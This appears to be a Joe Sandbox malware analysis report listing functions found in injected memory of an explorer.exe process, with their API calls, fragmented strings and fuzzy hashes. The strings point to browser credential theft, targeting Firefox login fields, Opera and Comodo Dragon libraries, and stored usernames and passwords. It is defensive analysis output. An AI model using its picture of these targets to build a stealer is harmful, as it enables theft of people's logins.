Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
Instruction ID: 9c16aad5ec736e7f0a605752aee98fb0107b238c7e627e12bc4606d00dad6afb
Opcode Fuzzy Hash: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
Instruction Fuzzy Hash: 86019E34668B484F8B88EF6C948412AB7E4FBD9219F000B3EA99AC3250EB64C5414742

Uniqueness

Uniqueness Score: -1.00%

Function 08CA7E0A Relevance: 1.6, APIs: 1, Instructions: 52
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 08CA7E67

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
Instruction ID: 23d0edbf62c481d3298c2e13cab20f611fa66e60c23f2406ecfc802bba06d6ec
Opcode Fuzzy Hash: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
Instruction Fuzzy Hash: 9101A234628B884F8B88EB3C94452A6B3E5FBCE315F000B3EE9DAC3240DB25D5024782

Uniqueness

Uniqueness Score: -1.00%

Function 08CA18C2 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ObtainUserAgentString.URLMON ref: 08CA19A0

Strings

User-Agent: , xrefs: 08CA1935, 08CA1948
urlmon.dll, xrefs: 08CA1959
on.d, xrefs: 08CA1902
nt: , xrefs: 08CA191E

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: AgentObtainStringUser
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 2681117516-319646191
Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction ID: ecc4a02385bfb1a5a935c1d94966ff41deec0622716f8f24c572f4e339b5a27b
Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction Fuzzy Hash: 3531AE31A14A0D8FCB45EFA8D8847EEB7F1FB58219F44422AD45EE7340DE788645C789

Uniqueness

Uniqueness Score: -1.00%

Function 08CA18BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ObtainUserAgentString.URLMON ref: 08CA19A0

Strings

User-Agent: , xrefs: 08CA1935, 08CA1948
urlmon.dll, xrefs: 08CA1959
on.d, xrefs: 08CA1902
nt: , xrefs: 08CA191E

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: AgentObtainStringUser
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 2681117516-319646191
Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction ID: 5db92931d96628eb5a5b7fa99a9b35b99011691d3080bbef35f35a905f264be5
Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction Fuzzy Hash: 4B219170A14A4D8FCB45EFA8C8847EDBBB1FF5820AF44422AD45AE7340DF748645C789

Uniqueness

Uniqueness Score: -1.00%

Function 08C9DB66 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32 ref: 08C9DCCA

Strings

.dll, xrefs: 08C9DBCD
el32, xrefs: 08C9DBA0
kern, xrefs: 08C9DB99

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: CreateMutex
String ID: .dll$el32$kern
API String ID: 1964310414-1222553051
Opcode ID: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
Instruction ID: 1e2c7c22e084470d10ea5140d86869bbf14d4a5cc943f3ca54730c832fa9611c
Opcode Fuzzy Hash: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
Instruction Fuzzy Hash: A2418D74918A088FCF84EFA8C8D8BAD77F0FB58301F04427AD94AEB255DE309945CB85

Uniqueness

Uniqueness Score: -1.00%

Function 08C9DB72 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32 ref: 08C9DCCA

Strings

.dll, xrefs: 08C9DBCD
el32, xrefs: 08C9DBA0
kern, xrefs: 08C9DB99

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: CreateMutex
String ID: .dll$el32$kern
API String ID: 1964310414-1222553051
Opcode ID: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
Instruction ID: 679fbb3ba863db5c6666f8d6c3476fa385aa5555a82d8f1b79cbbdf145bbb001
Opcode Fuzzy Hash: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
Instruction Fuzzy Hash: D9414C74918A088FDB84EFA8C898BAD77F0FB68305F04417AD94EDB255DE309945CB85

Uniqueness

Uniqueness Score: -1.00%

Function 08CA372E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 08CA3791

Strings

conn, xrefs: 08CA375A
ect, xrefs: 08CA3761

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: connect
String ID: conn$ect
API String ID: 1959786783-716201944
Opcode ID: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
Instruction ID: e9784f0f4b6441bbcb3974d8ee546d29c7b06af2a76378155df9a19610fc8a03
Opcode Fuzzy Hash: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
Instruction Fuzzy Hash: AD015E74618B188FCB84EF1CE088B55B7E0FB58315F1545AED90DCB226C674C9818BC2

Uniqueness

Uniqueness Score: -1.00%

Function 08CA3732 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 08CA3791

Strings

conn, xrefs: 08CA375A
ect, xrefs: 08CA3761

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: connect
String ID: conn$ect
API String ID: 1959786783-716201944
Opcode ID: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
Instruction ID: 8f910b5e2b7c06f7d67fc505b2097cb174aadc8fdceb998493858d65b45c863e
Opcode Fuzzy Hash: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
Instruction Fuzzy Hash: 56012C70618A1C8FCB84EF5CE088B55B7E0FB59315F1541AEA80DCB226CA74C9818BC2

Uniqueness

Uniqueness Score: -1.00%

Function 08CA362C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 08CA3691

Strings

tart, xrefs: 08CA365A
WSAS, xrefs: 08CA3653

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: Startup
String ID: WSAS$tart
API String ID: 724789610-2426239465
Opcode ID: eb8e01195b1b45a2b093131951349e4bfa8de15468bd518a6435d0ff3ce2d302
Instruction ID: 401a83e7599d9ebfa771de74c25066d87ac24787955540f7fc71ed9f4284041f
Opcode Fuzzy Hash: eb8e01195b1b45a2b093131951349e4bfa8de15468bd518a6435d0ff3ce2d302
Instruction Fuzzy Hash: 22018B30518A188FCB44DF1CD04CB69FBE0FB58316F2502ADD409CB366C7B0CA428B96

Uniqueness

Uniqueness Score: -1.00%

Function 08CA3632 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 08CA3691

Strings

tart, xrefs: 08CA365A
WSAS, xrefs: 08CA3653

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: Startup
String ID: WSAS$tart
API String ID: 724789610-2426239465
Opcode ID: 8ca80b95c4f802a72df079fcfff649d32c96cc10ab9ce8db75eb9f3d41236f43
Instruction ID: b10cd9e229e21e194004aaf7f05bea88350c5776fd35703982964d5bd80422e7
Opcode Fuzzy Hash: 8ca80b95c4f802a72df079fcfff649d32c96cc10ab9ce8db75eb9f3d41236f43
Instruction Fuzzy Hash: DA014B70518A188FCB84DF1C904CB69FBE0FB58355F2541A9E40DCB266C7B0C9428B96

Uniqueness

Uniqueness Score: -1.00%

Function 08CA36B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32 ref: 08CA3713

Strings

send, xrefs: 08CA36DA

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: send
String ID: send
API String ID: 2809346765-2809346765
Opcode ID: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
Instruction ID: c745d8be62b1ed9be712bdc6bbbf27681a244ed134582dc35fc04e0faedcac26
Opcode Fuzzy Hash: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
Instruction Fuzzy Hash: E7011270518A198FDBC4EF1CD048B2577E0EB58315F1545AED85DCB366C670D8818B81

Uniqueness

Uniqueness Score: -1.00%

Function 08CA35B2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 08CA3611

Strings

sock, xrefs: 08CA35D9

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: socket
String ID: sock
API String ID: 98920635-2415254727
Opcode ID: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
Instruction ID: 278628a5d7e8d02344821c3482f104f96cd801d50b5c208f07f54d38e3dbbe9f
Opcode Fuzzy Hash: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
Instruction Fuzzy Hash: B10121706186188FCB84EF1CD048B54BBE0FB59315F1545ADD45EDB366C7B4C9818B86

Uniqueness

Uniqueness Score: -1.00%

Function 08C9B2DD Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 08C9B32D

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
Instruction ID: 53f7dbb39f0de8b8e50fbffc3d77d0a89561a47c3148beeac163378148d65c33
Opcode Fuzzy Hash: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
Instruction Fuzzy Hash: AF318B74614B59EFDF64EF69908C2A5B3B0FB44312F4442BEC9ADCA206CB309961CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08C9B412 Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 08C9B461

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
Instruction ID: 9ff5f723bdf0f8527883b9994d1bc87a4eb20203f4320f5d927bc14b7745a390
Opcode Fuzzy Hash: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
Instruction Fuzzy Hash: F9F0FC34268A494FD784EF2CD44563AF3E0FBE8215F44057E954DC3354DA75C5424B15

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 08180D02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON

Download Yara Rule

Strings

kern, xrefs: 08180F5A
M, xrefs: 08181082
el32, xrefs: 08180F27
wini, xrefs: 08180F72
net., xrefs: 08180F44
dll, xrefs: 08180F4C
32.d, xrefs: 08180F0B
user, xrefs: 08180F03
ll, xrefs: 08180F13
.dll, xrefs: 08180F2F
S, xrefs: 08181073

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
API String ID: 0-393284711
Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
Instruction ID: cc990263f633e42d6c356b535aa86a3b70a389a7e608cb872914cdfd3ae8a3a2
Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
Instruction Fuzzy Hash: FAE158B4618F488FC765EF68C4857AAB7E0FF58302F504A2E959BC7251DF30A541CB89

Uniqueness

Uniqueness Score: -1.00%

Function 08183792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON

Download Yara Rule

Strings

Subm, xrefs: 08183855
name, xrefs: 0818387D
user, xrefs: 08183876
itUR, xrefs: 0818385D
encr, xrefs: 0818389D
swor, xrefs: 081838EA
e, xrefs: 081838BD
Fiel, xrefs: 08183884
d, xrefs: 081838F2
dUse, xrefs: 081838AD
ypte, xrefs: 081838DA
ypte, xrefs: 081838A5
dPas, xrefs: 081838E2
rnam, xrefs: 081838B5
form, xrefs: 0818384D
guid, xrefs: 081837CE
encr, xrefs: 081838D2

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
API String ID: 0-2916316912
Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
Instruction ID: 9442b054741e2249951fcdb9ce4338b9ed3bdd309a40f8e990651c74af7c91c4
Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
Instruction Fuzzy Hash: ADB17930518B48CEDB59EF68C486AEEB7F1FF98301F50451ED4AAC7251EF70A5058B86

Uniqueness

Uniqueness Score: -1.00%

Function 08181622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON

Download Yara Rule

Strings

n, xrefs: 081816C1
p, xrefs: 08181690
w, xrefs: 081816B3
2, xrefs: 08181674
i, xrefs: 0818169E
d, xrefs: 0818167B
n, xrefs: 081816BA
d, xrefs: 081816CF
l, xrefs: 081816D6
s, xrefs: 08181689
l, xrefs: 08181682
u, xrefs: 08181661
c, xrefs: 08181697
t, xrefs: 081816C8
l, xrefs: 081816AC
d, xrefs: 081816A5
e, xrefs: 0818166D

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
API String ID: 0-1539916866
Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
Instruction ID: 7693f142107bc3d0b09f2303ec604a912b211c70cbb133640ca14ffce2bdcd6b
Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
Instruction Fuzzy Hash: 7841A171A18B08CFDB14EF88A4466BD7BE6FB48701F00025ED809D7345DBB59D468BD6

Uniqueness

Uniqueness Score: -1.00%

Function 08188AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON

Download Yara Rule

Strings

c, xrefs: 08188C0B
[, xrefs: 08188CCD
l, xrefs: 08188C35
b, xrefs: 08188C73
l, xrefs: 08188CE2
[, xrefs: 08188BF6
], xrefs: 08188C3D
[, xrefs: 08188C2D
e, xrefs: 08188CA0
], xrefs: 08188CA8
D, xrefs: 08188CDA
n, xrefs: 08188C98
[, xrefs: 08188C90
[, xrefs: 08188C66

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
API String ID: 0-355182820
Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
Instruction ID: bb8c4a4dfbca393da9dacbe09ca4ffb70d34098885cfd972b7f7f0af98825899
Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
Instruction Fuzzy Hash: DDC15774618B09CFC759EF28C486AAAF3E1FF98305F40472E959AC7250DF30A615CB86

Uniqueness

Uniqueness Score: -1.00%

Function 08188F12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON

Download Yara Rule

Strings

r, xrefs: 08188F88
., xrefs: 08188F63
r, xrefs: 08188FB0
r, xrefs: 08188FA0
r, xrefs: 08188FA8
c, xrefs: 08188FC8
r, xrefs: 08188FC0
0, xrefs: 08188F5B
r, xrefs: 08188F90
n, xrefs: 08188F6B
r, xrefs: 08188F98
r, xrefs: 08188FB8

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .$0$c$n$r$r$r$r$r$r$r$r
API String ID: 0-97273177
Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
Instruction ID: 1d2b57443b1dc2e0a2687c21e75a5a07e1babe040fb0db37f72dbb47a34e2223
Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
Instruction Fuzzy Hash: 8751C13161C748CFD719EF18C4862AAB7E5FF85301F501A2EE88BC7241DBB499068F82

Uniqueness

Uniqueness Score: -1.00%

Function 081822F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON

Download Yara Rule

Strings

l, xrefs: 081824E2
dll, xrefs: 0818232E
sspi, xrefs: 08182320
4.dl, xrefs: 081824DB
dragon_s.dll, xrefs: 08182614
nspr, xrefs: 081824D4
cli., xrefs: 08182327
opera_browser.dll, xrefs: 08182629

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
API String ID: 0-639201278
Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
Instruction ID: 9dcaf5216daa12ffc9c24acf83db93f533e38b7ec1cfab4a18055d0deec65a0c
Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
Instruction Fuzzy Hash: EBC1AF74618A198FC759FF68D496AAAB3E1FF98301F91432D944EC7250DF30AA02CB85

Uniqueness

Uniqueness Score: -1.00%

Function 081822F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON

Download Yara Rule

Strings

l, xrefs: 081824E2
dll, xrefs: 0818232E
sspi, xrefs: 08182320
4.dl, xrefs: 081824DB
dragon_s.dll, xrefs: 08182614
nspr, xrefs: 081824D4
cli., xrefs: 08182327
opera_browser.dll, xrefs: 08182629

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
API String ID: 0-639201278
Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
Instruction ID: 10fd7dd8fe30271ae7412a1b9fbfcaab9bdcc8fff1f2acf798bdccc3bbf56c19
Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
Instruction Fuzzy Hash: 05C1AF74618A198FC759FF68D496AAAB3E1FF98301F91432D944EC7250DF30AA02CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 08183CD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

word, xrefs: 08183D9E
L: , xrefs: 08183D66
name, xrefs: 08183DB2
User, xrefs: 08183DAB
UR, xrefs: 08183D5F
2, xrefs: 08183DE1
Pass, xrefs: 08183D97

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: UR$2$L: $Pass$User$name$word
API String ID: 0-2058692283
Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
Instruction ID: 3a4de212e5bc310c49cd99f60df66a9d9aa3384a27873cccd2b2216619769f54
Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
Instruction Fuzzy Hash: 1BA1BE70618748CBDB19EFA89445BEEB7F1FF88311F40462DE48AD7281EF7085458B89

Uniqueness

Uniqueness Score: -1.00%

Function 08183CE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON

Download Yara Rule

Strings

word, xrefs: 08183D9E
L: , xrefs: 08183D66
name, xrefs: 08183DB2
User, xrefs: 08183DAB
UR, xrefs: 08183D5F
2, xrefs: 08183DE1
Pass, xrefs: 08183D97

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: UR$2$L: $Pass$User$name$word
API String ID: 0-2058692283
Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
Instruction ID: 502fb24694960f22e12e0b714c50a8af562d214edce334ce90a6876f61f0ec9b
Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
Instruction Fuzzy Hash: F9918E70618B48CBDB19EFA89445BEEB7F1FF88301F40462DE48AD7251EF7485458B89

Uniqueness

Uniqueness Score: -1.00%

Function 08183352 Relevance: 6.5, Strings: 5, Instructions: 242COMMON

Download Yara Rule

Strings

, xrefs: 0818347C
e, xrefs: 0818348E
n, xrefs: 081833E7
v, xrefs: 081834A0
., xrefs: 081833B0

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: $.$e$n$v
API String ID: 0-1849617553
Opcode ID: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
Instruction ID: 510f5d2770d7b45017b687bbb580c0b4dfb458898c5ea8a4d319a3e6fd499391
Opcode Fuzzy Hash: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
Instruction Fuzzy Hash: 5D71AF31618B48CFD758EFA8C4897AAB7F1FF98305F00062ED45AD7261EB71D9468B81

Uniqueness

Uniqueness Score: -1.00%

Function 0817EC32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON

Download Yara Rule

Strings

ole3, xrefs: 0817EC5D
2.dl, xrefs: 0817EC64
l32., xrefs: 0817EC97
dll, xrefs: 0817EC9E
shel, xrefs: 0817EC90

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 2.dl$dll$l32.$ole3$shel
API String ID: 0-1970020201
Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
Instruction ID: 9bd8bcadc2d1c0904998ce52e4baa51f0405502c1617379943f73e8bdf2d1053
Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
Instruction Fuzzy Hash: EF513AB0918B4C8BDB65EFA4C045AEEB7F1FF58301F404A2E949AE7254EF3095418B99

Uniqueness

Uniqueness Score: -1.00%

Function 0817F86F Relevance: 6.4, Strings: 5, Instructions: 157COMMON

Download Yara Rule

Strings

dll, xrefs: 0817F8F4
ion., xrefs: 0817F8EC
4, xrefs: 0817F9E9
vers, xrefs: 0817F8E4
\, xrefs: 0817F9E0

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 4$\$dll$ion.$vers
API String ID: 0-1610437797
Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
Instruction ID: 7295ad3a7fed99e48e53e57371c8b7b340e0959b88f28fd113f81f0775700791
Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
Instruction Fuzzy Hash: 69416F34618B488FCB65EF2898457EBB7E4FF98302F51462E988EC7240EF30D5458B82

Uniqueness

Uniqueness Score: -1.00%

Function 081814B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON

Download Yara Rule

Strings

sspi, xrefs: 0818150E
dll, xrefs: 0818151C
user, xrefs: 081814D3
32.d, xrefs: 081814DA
cli., xrefs: 08181515

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: 32.d$cli.$dll$sspi$user
API String ID: 0-327345718
Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
Instruction ID: 40ff5ff045a1ca454eefa0f37f5e24e258736fbea40f162501712d11161d3826
